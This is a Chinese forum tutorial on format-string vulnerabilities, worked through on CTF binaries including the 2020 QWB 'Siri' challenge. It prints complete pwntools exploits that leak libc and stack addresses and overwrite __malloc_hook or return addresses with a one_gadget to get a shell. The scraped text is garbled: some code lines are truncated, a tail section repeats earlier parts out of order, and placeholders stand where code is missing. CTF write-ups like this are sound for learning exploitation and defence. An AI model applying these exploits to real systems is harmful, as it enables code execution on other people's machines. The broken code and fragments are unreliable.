roger 发表于 2020-9-13 22:03:58

格式化字符串漏洞解析

目录
[*] 格式化字符串利用—读
[*]         漏洞原理:
[*]         题目分析
[*]         调试分析
[*]         POC
[*] 格式化字符串利用—写
[*]         漏洞原理
[*]               简单示例
[*]         题目分析
[*]         调试分析
[*]         修改`malloc_hook`
[*]         修改返回地址——leak
[*]         修改返回地址与指令——main
格式化字符串利用—读漏洞原理:  格式化字符串漏洞常见的标志为printf(&str),其中str中的内容是可控的。printf在解析format参数时,会自动从栈上format字符串结束的位置,按顺序读取格式化字符串对应的参数。如图所示,执行的命令为printf("%s %d %d %d %x",buf, 1, 2, 3),紧随格式化字串后压入栈上的参数为4个,但格式化字串有五个参数,printf在解析第五个参数%x时,会继续往栈上读取,造成了信息泄露:
题目分析  checksec信息如下,保护全开:
'/home/hjc18/PWN/stack_learn/fmt_stack/pwn1'  Arch:   amd64-64-little
  RELRO:    Partial>
  Stack:    Canary found
  NX:       NX enabled
  PIE:      PIE enabled
  
  IDA中主函数逻辑如下:首先判断用户名是否为root,然后从系统中读取一个随机数,判断用户的输入与随机数是否相等。随机数输入的长度限制为0x50,告别了栈溢出的可能,随机数输入错误1次后exit_flag会置0,在下一次输入错误后程序会退出。唯一的利用点在于程序中存在printf(&s),而s是可控的,因此可以用格式化字符串的任意地址读功能获取随机数:
.data:0000000000202098 exit_flag       db    1  void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
  {
  int fd; // ST0C_4
  char buf; //
  char s1; //
  char s; //
  unsigned __int64 v7; //
  v7 = __readfsqword(0x28u);
  init_std();
  fd = open("/dev/urandom", 0);
  read(fd, &buf, 8uLL);
  close(fd);
  puts("Hi, please input your name:");
  read_func(&s1, 16LL);                         // equal to read(buf,size)
  if ( !strcmp(&s1, "root") )
  {
  printf("%s welcome to go home !\n", &s1);
  puts("Oh, I also need your password:");
  while ( 1 )
  {
  memset(&s, 0, 0x60uLL);
  read_func(&s, 0x50LL);
  if ( !strcmp(&s, &buf) )
  break;
  printf("Your password ", &buf);
  printf(&s);                               // vuln
  puts(" seem not ture......");
  if ( !exit_flag )
  {
  puts("Bye~");
  exit(0);
  }
  puts("Try again!");
  exit_flag = 0;
  }
  puts("You are my root!");
  exit(0);
  }
  puts("Who are you?");
  exit(0);
  }
  
调试分析  在输入中输入格式化字符串%x,程序会打印栈上的信息:
Hi, please input your name:  root
  root welcome to go home !
  Oh, I also need your password:
  %p %p %p %p %p %p %p %p %p
  Your password 0x7ffce2b24580 0x7f06e850d8c0 (nil) 0xe 0x7f06e828ef70 (nil) 0x300000000 0x6db2adca20d558ab (nil) seem not ture......
  Try again!
  
  此时寄存器与栈的布局如下所示:
#reg  RAX0x0
  RBX0x0
  RCX0x0
  RDX0x7f06e850d8c0
  RDI0x7ffce2b26c60 -> '%p %p %p %p %p %p %p %p %p'
  RSI0x7ffce2b24580 -> 'Your password o go home !\n'
  R8   0xe
  R9   0x7f06e828ef70
  R100x3
  R110x246
  R120x565314ac6a30
  R130x7ffce2b26db0
  R140x0
  R150x0
  RBP0x7ffce2b26cd0
  RSP0x7ffce2b26c18
  RIP0x7f06e8184f00
  #stack
  rsp0x7ffce2b26c18 -> 0x565314ac6e0e
  0x7ffce2b26c20 <- 0x0
  0x7ffce2b26c28 <- 0x300000000
  0x7ffce2b26c30 <- 0x6db2adca20d558ab
  0x7ffce2b26c38 <- 0x0
  0x7ffce2b26c40 <- 0x746f6f72 /* 'root' */
  0x7ffce2b26c48 <- 0x8000000000000006
  0x7ffce2b26c50 <- 0x0
  rdi0x7ffce2b26c60 <- '%p %p %p %p %p %p %p %p %p'
  0x7ffce2b26c68 <- ' %p %p %p %p %p %p'
  0x7ffce2b26c70 <- 'p %p %p %p'
  0x7ffce2b26c78 <- 0x7025 /* '%p' */
  0x7ffce2b26c80 <- 0x0
  0x7ffce2b26cc0 <-0x7ffce2b26db0
  0x7ffce2b26cc8 <- 0x9119a0b95845000
  rbp0x7ffce2b26cd0 <-0x565314ac6e80
  0x7ffce2b26cd8 <-0x7f06e8141b97
  
  通过观察我们可以发现,泄露出来的数据依次为RSI RDX RCX R8 R9 RSP+0x8 RSP+0x10 RSP+0x18的内容,在64位系统中,函数前6个参数通过寄存器传参,对应RSI   RDX RCX R8 R9,函数不会泄露RDI,即格式化字符串本身的地址内容。当寄存器的内容不足以填满格式化字符串的参数时,printf会继续往栈上索引,从RSP+0x8,即main函数的栈基址开始读取,刚好在第8个参数泄露了位于rsp+10h的随机数0x6db2adca20d558ab。
  现在我们知道怎么计算偏移来读取任意地址的信息了,如果读取离当前RSP很远的信息,比如偏移了100个%p,可以使用$占位符减少输入,$的含义为输出对应位置的参数,比如%8$p输出第8个%p的数据:
Hi, please input your name:  root
  root welcome to go home !
  Oh, I also need your password:
  %8$p
  Your password 0x1d894b7f31fe7418 seem not ture......
  Try again!
  
  再康康栈上的信息,刚好对应之前讲的第8个%p的输出内容:
rsp0x7ffe0fbf9cf0 -> 0x0  0x7ffe0fbf9cf8 -> 0x300000000
  0x7ffe0fbf9d00 -> 0x1d894b7f31fe7418 //random
  0x7ffe0fbf9d08 -> 0x8000000000000006
  0x7ffe0fbf9d10 -> 0x746f6f72 /* 'root' */
  0x7ffe0fbf9d18 -> 0x0
  
  pwngbd提供了一种方便的函数fmtarg,使用格式为fmtarg addr。在进入printf函数时断下,调用fmtarg后可以自动计算格式化参数与addr的偏移。fmtarg在计算index时将RDI也算了进去,后面会自动减一作为%$p的参数:
# ins  -> 0x7f6507184f00 <printf>      sub    rsp, 0xd8
  0x7f6507184f07 <printf+7>      test   al, al
  0x7f6507184f09 <printf+9>      mov    qword ptr , rsi
  # stack
  rsp0x7ffd014b4248 <- 0x56029ee8ae0e
  0x7ffd014b4250 -> 0x0
  0x7ffd014b4258 -> 0x300000000
  0x7ffd014b4260 -> 0x869b15527cfcfffa//random
  0x7ffd014b4268 -> 0x0
  0x7ffd014b4270 -> 0x746f6f72 /* 'root' */
  0x7ffd014b4278 -> 0x0
  #use fmtarg -> targrt:0x7ffd014b4260
  The index of format argument : 9 ("\%8$p")
  
POC  现在我们已经可以泄露随机数,接下来利用思路就很简单了。第一轮利用格式化字符串漏洞读取随机数,第二轮直接将获取的随机数作为输入,即可“成为root”。完整exp如下:
from pwn import *  context.log_level = 'debug'
  def lauch_gdb(p):
  context.log_level = 'debug'
  context.terminal = ['tmux', 'splitw', '-h']
  gdb.attach(p)
  p = process('./pwn1')
  elf = ELF('./pwn1')
  libc = elf.libc
  #lauch_gdb(p)
  #pause()
  rl = lambda a=False            : p.recvline(a)    #接收到\n,False表示丢弃\n
  ru = lambda a,b=True             : p.recvuntil(a,b)
  rn = lambda x                  : p.recvn(x)
  sd = lambda x                  : p.send(x)
  sl = lambda x                  : p.sendline(x)
  sa = lambda a,b                  : p.sendafter(a,b)
  sla = lambda a,b               : p.sendlineafter(a,b)
  irt = lambda                     : p.interactive()
  uu32 = lambda data               : u32(data.ljust(4,'\x00'))
  uu64 = lambda data               : u64(data.ljust(8,'\x00'))
  cth = lambda content,length      : int(content[:length],16)
  sla('name:','root')
  sla('password','%8$p')
  ru('password ')
  content = ru(' seem')
  ans = int(cth(content,18))
  rl()
  sla('again!',p64(ans))
  irt()
  
  程序输出如下:
Received 0x1c bytes:  'Hi, please input your name:\n'
   Sent 0x5 bytes:
  'root\n'
   Received 0x39 bytes:
  'root welcome to go home !\n'
  'Oh, I also need your password:\n'
   Sent 0x5 bytes:
  '%8$p\n'
   Received 0x40 bytes:
  'Your password 0x90b126967cc6caa3 seem not ture......\n'
  'Try again!\n'
   Sent 0x9 bytes:
  00000000a3 ca c6 7c96 26 b1 900a
  00000009
  Switching to interactive mode
  Process './pwn1' stopped with exit code 0 (pid 11275)
   Received 0x11 bytes:
  'You are my root!\n'
  You are my root!
  
格式化字符串利用—写漏洞原理  printf除了能将数据输出至标准输出,还能将数据输出至某一地址。printf通过%n、%hn、%hhn三个参数将已打印的字符个数输出至格式化参数对应的地址中,如:
#include<stdio.h>  int main()
  {
  int a = 0;
  printf("aaaa%n",&a);
  printf("%d",a);
  return 0;
  }
  // -> a = 4
  
  可以通过格式化串中的输出占位符来调整输出字符串的个数:
#include <stdio.h>  int main()
  {
  char a = 'a';
  int b = 10;
  printf("%30c%n",a,&b);
  printf("%d",b);
  return 0;
  }
  // -> b = 30
  
  %n一次写入四个字节,%hn一次写入两个字节,%hhn一次只写入一个字节。如果写入的字节数大于格式化字符串所对应的最大字节数,则发生溢出置0。在空间足够的情况下,推荐使用%hhn进行写入,一来可以避免sprintf等函数末尾自动填充\0,二来通过溢出修改写入字节(如0x64 -> 0x32)所需的字符数较少,不会卡死。如果空间有限,则需酌情考虑使用其他格式字串或更换方法:
#include <stdio.h>  int main()
  {
  char a = 'a';
  int b = 0;
  printf("%255c%hhn\n\n",a,&b);//0xff = 255
  printf("%d",b);
  return 0;
  }
  // -> b = 255
  #include <stdio.h>
  int main()
  {
  char a = 'a';
  int b = 0;
  printf("%256c%hhn\n\n",a,&b);//256=0x100
  printf("%d",b);
  return 0;
  }
  // -> b = 0xff+1 = 0x(1)00 = 0x00   !!!
  
简单示例  与其他格式化字符串一样,%n系列也可以通过 $运算符来进行偏移,从而实现任意地址写的功能。下面我们通过一个简单的实例来康康如何进行写入,demo源码如下:
#include<stdio.h>  int main()
  {
  char a[] = "aaaaaaa";
  long int t = 10;
  long int* d = &t;
  printf("%65c%7$hhn"); // 模拟printf(&s)
  printf("after printf, t=%d",t);
  return 0;
  }
  
  程序执行到printf前,栈上的数据分布如下:
rsp0x7fffffffdb50 <- 0xa /* '\n' */  0x7fffffffdb58 -> 0x7fffffffdb50 0xa /* '\n' */ //target
  0x7fffffffdb60 -> 0x61616161616161 /* 'aaaaaaa' */
  0x7fffffffdb68 -> 0xa7726df524ad0100
  rbp0x7fffffffdb70 <- 0x4018b0 (__libc_csu_init)
  0x7fffffffdb78 <- 0x401159 (__libc_start_main+777)
  0x7fffffffdb80 -> 0x0
  0x7fffffffdb88 -> 0x100000000
  
  我们的目标是修改位于0x7fffffffdb50变量的值,注意,%n参数对应的是指针,我们需要借用一层跳板来执行解引用后修改操作,即传入0x7fffffffdb58这一指向0x7fffffffdb50的指针。使用fmtarg得出该地址与格式化字符串的偏移为7:fmtarg 0x7fffffffdb58 The index of format argument : 8 ("\%7$p"),对应源码中%7$hnn;%65c将打印栈上的垃圾数据,用于控制输出长度,进而控制修改的值。程序执行完后,t的值被修改成65:
rsp0x7fffffffdb50 <- 0x41 /* '\A' */  0x7fffffffdb58 -> 0x7fffffffdb50 0x41 /* '\A' */ //target
  0x7fffffffdb60 -> 0x61616161616161 /* 'aaaaaaa' */
  0x7fffffffdb68 -> 0xa7726df524ad0100
  rbp0x7fffffffdb70 <- 0x4018b0 (__libc_csu_init)
  0x7fffffffdb78 <- 0x401159 (__libc_start_main+777)
  0x7fffffffdb80 -> 0x0
  0x7fffffffdb88 -> 0x100000000
  
题目分析  以2020强网杯”Siri“一题为例。check信息如下,保护全开:
'/home/hjc18/PWN/qwb2020/siri/Siri'  Arch:   amd64-64-little
  RELRO:    Full>
  Stack:    Canary found
  NX:       NX enabled
  PIE:      PIE enabled
  
  拖进IDA查看程序逻辑,首先是main函数:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)  {
  char Input_buffer; //
  char v5; //
  unsigned __int64 v6; //
  v6 = __readfsqword(0x28u);
  memset(&Input_buffer, 0, 0x100uLL);
  v5 = 0;
  Init_env();
  printf(">>> ", a2);
  while ( read(0, &Input_buffer, 0x100uLL) )
  {
  if ( !strncmp(&Input_buffer, "Hey Siri!", 9uLL) )
  {
  puts(">>> What Can I do for you?");
  printf(">>> ", "Hey Siri!");
  read(0, &Input_buffer, 0x100uLL);         // no overflow
  if ( !(unsigned int)tell_story(&Input_buffer)
  && !(unsigned int)fox_say(&Input_buffer)
  && !(unsigned int)leak(&Input_buffer) )
  {
  puts(">>> Sorry, I can't understand.");
  }
  }
  memset(&Input_buffer, 0, 0x100uLL);
  printf(">>> ", 0LL);
  }
  return 0LL;
  }
  
  函数中看似有个可控Input_buffer放在栈上,但程序中read函数写死了读取长度刚好为Buffer的大小,因此无法利用。
  tell_story和fox_say无任何交互的功能:
signed __int64 __fastcall tell_story(const char *a1)  {
  if ( strncmp(a1, "Tell me a story.", 0x10uLL) )
  return 0LL;
  puts(">>> It was a darkand stormy night...no, that's not it.\n");
  return 1LL;
  }
  signed __int64 __fastcall fox_say(const char *a1)
  {
  if ( strncmp(a1, "What dose the fox say?", 0x16uLL) )
  return 0LL;
  puts(">>> Chacha-chacha-chacha-chow!\n");
  return 1LL;
  }
  
  而最后的leak函数中调用了sprintf,且输出缓冲区内容是可控的,比如输入Remind me to %d,在执行sprintf时参数会变成">>> OK, I'll remind you to %d",继而将内容输入printf作为参数——造成了格式化字符串的漏洞:
signed __int64 __fastcall leak(const char *a1)  {
  char *v2; //
  char s; //
  unsigned __int64 canary; //
  canary = __readfsqword(0x28u);
  v2 = strstr(a1, "Remind me to ");//获取子串
  if ( !v2 )
  return 0LL;
  memset(&s, 0, 0x110uLL);//输入长度限制
  sprintf(&s, ">>> OK, I'll remind you to %s", v2 + 0xD);// 构造格式化字符串
  printf(&s); //漏洞点
  puts(&::s);
  return 1LL;
  }
  
  程序中所有的函数都通过leave retn返回,即所有变量都可以在main函数的栈中索引到。
.text:00000000000012E2 locret_12E2:                            ; CODE XREF: leak+C9↑j  .text:00000000000012E2               leave
  .text:00000000000012E3               retn
  ....
  .text:0000000000001366 locret_1366:                            ; CODE XREF: tell_story+39↑j
  .text:0000000000001366               leave
  .text:0000000000001367               retn
  .....
  
调试分析  程序中没有可以利用的shell函数,因此需要通过libc中的gadget来执行get shell操作。由于程序开启了PIE,首先我们的目标是获取程序栈的地址和libc的地址,才能进行下一步的利用。程序启动时通过vmmap获取程序当前的基址,然后加上IDA中调用printf函数的偏移,断下后通过fmtarg查看格式化字符串与目标数据的偏移:
#>.text:000000000000129D               call    _sprintf
  .text:00000000000012A2               lea   rax,
  .text:00000000000012A9               mov   rdi, rax      ; format
  .text:00000000000012AC               mov   eax, 0
  .text:00000000000012B1               call    _printf         ;target!!
  .text:00000000000012B6               lea   rdi, s          ; s
  .text:00000000000012BD               call    _puts
  .text:00000000000012C2               mov   eax, 1
  
# gdb  pwndbg> vmmap
  LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
  0x55ebb3a55000   0x55ebb3a56000 r--p   1000 0      /home/hjc18/PWN/qwb2020/siri/Siri
  0x55ebb3a56000   0x55ebb3a57000 r-xp   1000 1000   /home/hjc18/PWN/qwb2020/siri/Siri
  0x55ebb3a57000   0x55ebb3a58000 r--p   1000 2000   /home/hjc18/PWN/qwb2020/siri/Siri
  0x55ebb3a58000   0x55ebb3a59000 r--p   1000 2000   /home/hjc18/PWN/qwb2020/siri/Siri
  pwndbg> b *(0x12b1+0x55ebb3a55000)
  # stack in printf()
  0x7ffcf4ebb970 -> 0x7ffcf4ebbaa0
  0x7ffcf4ebb978 -> 0x4e326479f652c000
  rbp   0x7ffcf4ebb980 -> 0x7ffcf4ebbaa0 //target_1
  0x7ffcf4ebb988 -> 0x55ebb3a5644c
  0x7ffcf4ebb990 -> Remind me to libc : %83$p\n'
  r8-50x7ffcf4ebb998 -> 'e to libc : %83$p\n'
  0x7ffcf4ebb9a0 -> 'c : %83$p\n'
  0x7ffcf4ebb9a8 -> 0xa70 /* 'p\n' */
  0x7ffcf4ebb9b0 -> 0x0
  0x7ffcf4ebba90 ->0x7ffcf4ebbb00
  0x7ffcf4ebba98 -> 0x4e326479f652c000
  0x7ffcf4ebbaa0 ->0x55ebb3a564d0
  0x7ffcf4ebbaa8 ->0x7fe2754d5b97 (__libc_start_main+231) //target_2
  pwndbg> fmtarg 0x7ffcf4ebbaa8 //libc
  The index of format argument : 84 ("\%83$p")
  pwndbg> fmtarg 0x7ffcf4ebb980 //satck
  The index of format argument : 47 ("\%46$p")
  libc_base = 0x7ffcf4ebbaa8-231-libc.sym['__libc_start_main']
  stack = 0x7ffcf4ebb980+0x8
  
  0x7ffcf4ebb980存放了RBP的信息,RBP所指向的内容是main的栈基址;0x7ffcf4ebbaa8中存放了__libc_start_main偏移后的地址,经过处理可以得到libc的基址。随后利用one_gadget获取跳转目标:
hjc18@Chernobyl-WorkStation:~/PWN/qwb2020/siri$ one_gadget libc.so.6  /var/lib/gems/2.5.0/gems/one_gadget-1.7.3/lib/one_gadget/helper.rb:261: warning: Insecure world writable dir /mnt/c in PATH, mode 040777
  0x4f365 execve("/bin/sh", rsp+0x40, environ)
  constraints:
  rsp & 0xf == 0
  rcx == NULL
  0x4f3c2 execve("/bin/sh", rsp+0x40, environ)
  constraints:
   == NULL
  0x10a45c execve("/bin/sh", rsp+0x70, environ)
  constraints:
   == NULL
  
  信息收集完毕,接下来有两种思路可以利用。
修改malloc_hook  printf在输出字符串长度过长时会自动调用malloc申请内存空间,而输出的格式化字符串的宽度是可控制的,因此可以通过修改malloc_hook至one_gadget,然后通过诸如printf("%399999c")等超长格式化串来调用malloc,进而实现get_shell。由于获取到了libc的基址,malloc_hook的基址自然可以通过偏移减得,下面讲讲如何写入。
  由于leak函数中限制输入长度为0x110,malloc_hook的地址长度为6个字节,使用%hnn修改需要准备6个参数,总长度为0x30,即格式化字符串的总长度必须小于0x80;其次,由于传入的字符串包含了Remind me to前缀,为了内存对齐,输入的字符串长度应为0x80 - strlen("Remind me to ")。构造payload的思路为:格式化字符串(0x80)+malloc_hook地址6。(*输入的格式化字符串首先传入sprintf,因此需要确保内存与"Remind me to "对齐;如果采用">>> OK, I'll remind you to"进行计算,需要额外偏移两个字节 ),在printf下断使用fmtarg确定参数与目标内存地址的偏移。
  构造payload的解析如下:
malloc_hook = libc_base + libc.sym['__malloc_hook']  gadget = libc_base + 0x4f3c2
  written_size = 0 #已写入的字节数,用于控制溢出
  offset = 64      #fmtarg计算的偏移
  for i in xrange(6):                #构造6个字节的写入数据
  size = (gadget>>(8*i)) & 0xff#通过位移和与操作提取gadget不同字节的数据
  size -= 27                     #printf已经输入了27个字符(>>> OK, I'll remind you to)
  if(size > (written_size & 0xff)): #写入的数据大于当前已写入的字符数,不需要溢出
  payload += '%{0}c%{1}$hhn'.format(size-(written_size&0xff),offset+i) #通过%(offset+i)$hhn控制写入地址
  written_size +=>
  else:
  payload += '%{0}c%{1}$hhn'.format((0x100-(written_size&0xff))+size,offset+i) #写入的数据大于当前已写入的字符数,进行溢出
  written_size += (0x100 - (written_size&0xff)) +>
  #payload=payload.ljust(0x80-len(">>> OK, I'll remind you to ")-2,'a')#栈对齐13 -> D27 -> 1B
  payload=payload.ljust(0x80-13,'a')#0x80 -> 到0x110足够放6个64位指针
  for i in xrange(6):
  payload += p64(malloc_hook+i)#堆叠写入的地址
  log.info(payload)
  #pause()
  add(payload)
  
  构造完payload执行至printf处,栈上的信息如下:
# stack  0x7ffe0bc18c00 <- 0x6d20646e696d6552 ('Remind m') <- strlength:0x80
  0x7ffe0bc18c08 <- 0x363125206f742065 ('e to %16')
  0x7ffe0bc18c10 <- 0x6868243436256337 ('7c%64$hh')
  0x7ffe0bc18c18 <- 0x353625633731256e ('n%17c%65')
  0x7ffe0bc18c20 <- 0x633634256e686824 ('$hhn%46c')
  0x7ffe0bc18c28 <- 0x256e686824363625 ('%66$hhn%')
  0x7ffe0bc18c30 <- 0x2437362563313531 ('151c%67
  执行printf后,malloc_hook的地址被修改成了one_gadget,此时继续循环,发送%300000c长度的格式化字符串,即可get_shell:
pwndbg> x /gx 0x7f32983b9c30                     <- before printf  0x7f32983b9c30 <__malloc_hook>: 0x0000000000000000
  pwndbg> x /gx 0x7f32983b9c30                     <- after printf
  0x7f32983b9c30 <__malloc_hook>: 0x00007f329801d3c2
   Sent 0x17 bytes:
  'Remind me to %3000000c\n'                     <- long format string
  pwndbg> c
  Continuing.
  process 22459 is executing new program: /bin/dash<- get shell
  
  完整POC如下:
#coding:utf-8  from pwn import*
  p = process('./Siri')
  elf = ELF('./Siri')
  libc = ELF('./libc.so.6')
  def lauch_gdb(p):
  context.log_level = 'debug'
  context.terminal = ['tmux', 'splitw', '-h']
  gdb.attach(p)
  def add(payload):
  sla(">>>","Hey Siri!")
  ru("What Can I do for you?")
  sl("Remind me to "+payload)
  lauch_gdb(p)
  rl = lambda a=False            : p.recvline(a)
  ru = lambda a,b=True             : p.recvuntil(a,b)
  rn = lambda x                  : p.recvn(x)
  sd = lambda x                  : p.send(x)
  sl = lambda x                  : p.sendline(x)
  sa = lambda a,b                  : p.sendafter(a,b)
  sla = lambda a,b               : p.sendlineafter(a,b)
  irt = lambda                     : p.interactive()
  uu32 = lambda data               : u32(data.ljust(4,'\x00'))
  uu64 = lambda data               : u64(data.ljust(8,'\x00'))
  cth = lambda content,length      : int(content[:length],16)
  add("libc : %83$p")
  ru("libc : 0x")
  libc_base = int(p.recv(12),16)-231-libc.sym['__libc_start_main']
  print "libc_base = "+hex(libc_base)
  malloc_hook = libc_base + libc.sym['__malloc_hook']
  print "malloc_hook = "+hex(malloc_hook)
  og =
  gadget = libc_base + og
  print "gadget:"+hex(gadget)
  payload = ''
  written_size = 0
  offset = 64
  for i in xrange(6):
  size = (gadget>>(8*i)) & 0xff
  size -= 27
  if(size > (written_size & 0xff)):
  payload += '%{0}c%{1}$hhn'.format(size-(written_size&0xff),offset+i)
  written_size +=>
  else:
  payload += '%{0}c%{1}$hhn'.format((0x100-(written_size&0xff))+size,offset+i)
  written_size += (0x100 - (written_size&0xff)) +>
  payload=payload.ljust(0x80-13,'a')
  for i in xrange(6):
  payload += p64(malloc_hook+i)
  log.info(payload)
  pause()
  add(payload)
  add("%3000000c")
  irt()
  
修改返回地址——leak  另一种利用思路为直接利用格式化字符串修改函数的返回地址,不需要泄露canary
      0x7ffe905e0780 -> 0x7ffe905e08b0  0x7ffe905e0788 -> 0xd00159090e3a4000
  rbp   0x7ffe905e0790 <- 0x7ffe905e08b0
  0x7ffe905e0798 -> 0x5654c5f5744c <-test   eax, eax   ;target!
  pwndbg> fmtarg 0x7ffe905e0790                              <- get_rbp
  The index of format argument : 47 ("\%46$p")
  pwndbg> distance 0x7ffe905e08b0 0x7ffe905e0798             <- calculate offset between rip and rsp
  0x7ffe905e08b0->0x7ffe905e0798 is -0x118 bytes
  
  完整POC如下:
#coding:utf-8  from pwn import*
  p = process('./Siri')
  elf = ELF('./Siri')
  libc = ELF('./libc.so.6')
  def lauch_gdb(p):
  context.log_level = 'debug'
  context.terminal = ['tmux', 'splitw', '-h']
  gdb.attach(p)
  def add(payload):
  sla(">>>","Hey Siri!")
  ru("What Can I do for you?")
  sl("Remind me to "+payload)
  lauch_gdb(p)
  rl = lambda a=False            : p.recvline(a)
  ru = lambda a,b=True             : p.recvuntil(a,b)
  rn = lambda x                  : p.recvn(x)
  sd = lambda x                  : p.send(x)
  sl = lambda x                  : p.sendline(x)
  sa = lambda a,b                  : p.sendafter(a,b)
  sla = lambda a,b               : p.sendlineafter(a,b)
  irt = lambda                     : p.interactive()
  uu32 = lambda data               : u32(data.ljust(4,'\x00'))
  uu64 = lambda data               : u64(data.ljust(8,'\x00'))
  cth = lambda content,length      : int(content[:length],16)
  add("libc : %83$pAAAA%46$p")
  ru("libc : 0x")
  libc_base = int(p.recv(12),16)-231-libc.sym['__libc_start_main']
  print "libc_base = "+hex(libc_base)
  og =
  gadget = libc_base + og
  print "gadget:"+hex(gadget)
  ru('AAAA')
  ret = int(p.recv(14),16)-0x118
  print 'ret:'+hex(ret)
  payload = ''
  written_size = 0
  offset = 64
  for i in xrange(6):
  size = (gadget>>(8*i)) & 0xff
  size -= 27
  if(size > (written_size & 0xff)):
  payload += '%{0}c%{1}$hhn'.format(size-(written_size&0xff),offset+i)
  written_size +=>
  else:
  payload += '%{0}c%{1}$hhn'.format((0x100-(written_size&0xff))+size,offset+i)
  written_size += (0x100 - (written_size&0xff)) +>
  payload=payload.ljust(0x80-13,'a')
  for i in xrange(6):
  payload += p64(ret+i)
  log.info(payload)
  #pause()
  add(payload)
  irt()
  
修改返回地址与指令——main  有时候被__libc_start_main+231深深吸住了眼球,希望通过修改main函数的返回地址来完整滴控制程序的流程。不过相比起leak,修改main的返回地址要更麻烦些,因为main函数执行后是死循环,为了使函数返回还需要额外修改程序执行的指令。第一步与leak相同,获取返回地址信息并确定偏移:
      0x7fff87e70c40 -> 0x6161616161616e68 ('hnaaaaaa')  0x7fff87e70c48 -> 0x6161616161616161 ('aaaaaaaa')
  .....
  0x7fff87e70d08 -> 0x7f69f6c6db97 (__libc_start_main+231) <-target!
  pwndbg> distance 0x7fff87e70d00(rbp) 0x7fff87e70d08
  0x7fff87e70d00->0x7fff87e70d08 is 0x8 bytes
  
  将main函数的返回地址修改完成后,还需要修改指令来使main函数强制退出,在IDA中该段反汇编如下:
.text:0000000000001444               mov   rdi, rax  .text:0000000000001447               call    leak
  .text:000000000000144C               test    eax, eax
  .text:000000000000144E               jnz   short loc_145C   <- mod
  .
  .
  .
  .
  .text:00000000000014AD               mov   rcx,
  .text:00000000000014B1               xor   rcx, fs:28h
  .text:00000000000014BA               jz      short locret_14C1
  .text:00000000000014BC               call    ___stack_chk_fail
  .text:00000000000014C1 ; ---------------------------------------------------------------------------
  .text:00000000000014C1
  .text:00000000000014C1 locret_14C1:                            ; CODE XREF: main+152↑j
  .text:00000000000014C1               leave                   <- target
  .text:00000000000014C2               retn
  
  调用完leak后,为了跳出循环,需要将144C处的指令地址修改为14C1来进行强制返回,这需要获取程序的基址——很简单,用main 中的返回地址对着指令手算偏移就行了:
# stack  rbp   0x7fff87e70be0 <- 0x7fff87e70d00
  0x7fff87e70be8 <- 0x55596efe744c -> test   eax, eax               <- target
  .
  .
  .
  0x7fff87e70d08 <- 0x7f69f6c6db97 (__libc_start_main+231) <- current
  pwndbg> distance 0x7fff87e70d08 0x7fff87e70be8
  0x7fff87e70d08->0x7fff87e70be8 is -0x120 bytes
  
  定位指令地址后,直接写最低一个字节为C1即可实现强制跳转,完整POC如下:
#coding:utf-8  from pwn import*
  p = process('./Siri')
  elf = ELF('./Siri')
  libc = ELF('./libc.so.6')
  def lauch_gdb(p):
  context.log_level = 'debug'
  context.terminal = ['tmux', 'splitw', '-h']
  gdb.attach(p)
  def add(payload):
  sla(">>>","Hey Siri!")
  ru("What Can I do for you?")
  sl("Remind me to "+payload)
  lauch_gdb(p)
  rl = lambda a=False            : p.recvline(a)
  ru = lambda a,b=True             : p.recvuntil(a,b)
  rn = lambda x                  : p.recvn(x)
  sd = lambda x                  : p.send(x)
  sl = lambda x                  : p.sendline(x)
  sa = lambda a,b                  : p.sendafter(a,b)
  sla = lambda a,b               : p.sendlineafter(a,b)
  irt = lambda                     : p.interactive()
  uu32 = lambda data               : u32(data.ljust(4,'\x00'))
  uu64 = lambda data               : u64(data.ljust(8,'\x00'))
  cth = lambda content,length      : int(content[:length],16)
  add("libc : %83$pAAAA%46$p")
  ru("libc : 0x")
  libc_base = int(p.recv(12),16)-231-libc.sym['__libc_start_main']
  print "libc_base = "+hex(libc_base)
  og =
  gadget = libc_base + og
  print "gadget:"+hex(gadget)
  ru('AAAA')
  ret = int(p.recv(14),16)+0x8
  print 'ret:'+hex(ret)
  payload = ''
  written_size = 0
  offset = 64
  mod_ins = ret-0x120
  for i in xrange(6):
  size = (gadget>>(8*i)) & 0xff
  size -= 27
  if(size > (written_size & 0xff)):
  payload += '%{0}c%{1}$hhn'.format(size-(written_size&0xff),offset+i)
  written_size +=>
  else:
  payload += '%{0}c%{1}$hhn'.format((0x100-(written_size&0xff))+size,offset+i)
  written_size += (0x100 - (written_size&0xff)) +>
  payload=payload.ljust(0x80-13,'a')
  for i in xrange(6):
  payload += p64(ret+i)
  log.info(payload)
  #pause()
  add(payload)
  payload = '%{0}c%{1}$hhn'.format(0xc1-27,offset)
  payload=payload.ljust(0x80-13,'a')
  payload += p64(mod_ins)
  add(payload)
  irt()
  
**** Hidden Message ********* Hidden Message *****
)
  0x7ffe0bc18c38 <- 0x63343531256e6868 ('hhn%154c')
  0x7ffe0bc18c40 <- 0x256e686824383625 ('%68$hhn%')
  0x7ffe0bc18c48 <- 0x6824393625633737 ('77c%69$h')
  0x7ffe0bc18c50 <- 0x6161616161616e68 ('hnaaaaaa')
  0x7ffe0bc18c58 <- 0x6161616161616161 ('aaaaaaaa')<- padding
  .
  .
  .
  0x7ffe0bc18c80 -> 0x7f32983b9c30 (__malloc_hook)<- target address
  0x7ffe0bc18c88 -> 0x7f32983b9c31 (__malloc_hook+1)
  0x7ffe0bc18c90 -> 0x7f32983b9c32 (__malloc_hook+2)
  0x7ffe0bc18c98 -> 0x7f32983b9c33 (__malloc_hook+3)
  0x7ffe0bc18ca0 -> 0x7f32983b9c34 (__malloc_hook+4)
  0x7ffe0bc18ca8 -> 0x7f32983b9c35 (__malloc_hook+5)
  pwndbg> fmtarg 0x7ffe0bc18c80
  The index of format argument : 65 ("\%64$p")
  
  执行printf后,malloc_hook的地址被修改成了one_gadget,此时继续循环,发送%300000c长度的格式化字符串,即可get_shell:
[      DISCUZ_CODE_25      ]
  完整POC如下:
[      DISCUZ_CODE_26      ]
修改返回地址——leak  另一种利用思路为直接利用格式化字符串修改函数的返回地址,不需要泄露canary
[      DISCUZ_CODE_27      ]
  完整POC如下:
[      DISCUZ_CODE_28      ]
修改返回地址与指令——main  有时候被__libc_start_main+231深深吸住了眼球,希望通过修改main函数的返回地址来完整滴控制程序的流程。不过相比起leak,修改main的返回地址要更麻烦些,因为main函数执行后是死循环,为了使函数返回还需要额外修改程序执行的指令。第一步与leak相同,获取返回地址信息并确定偏移:
[      DISCUZ_CODE_29      ]
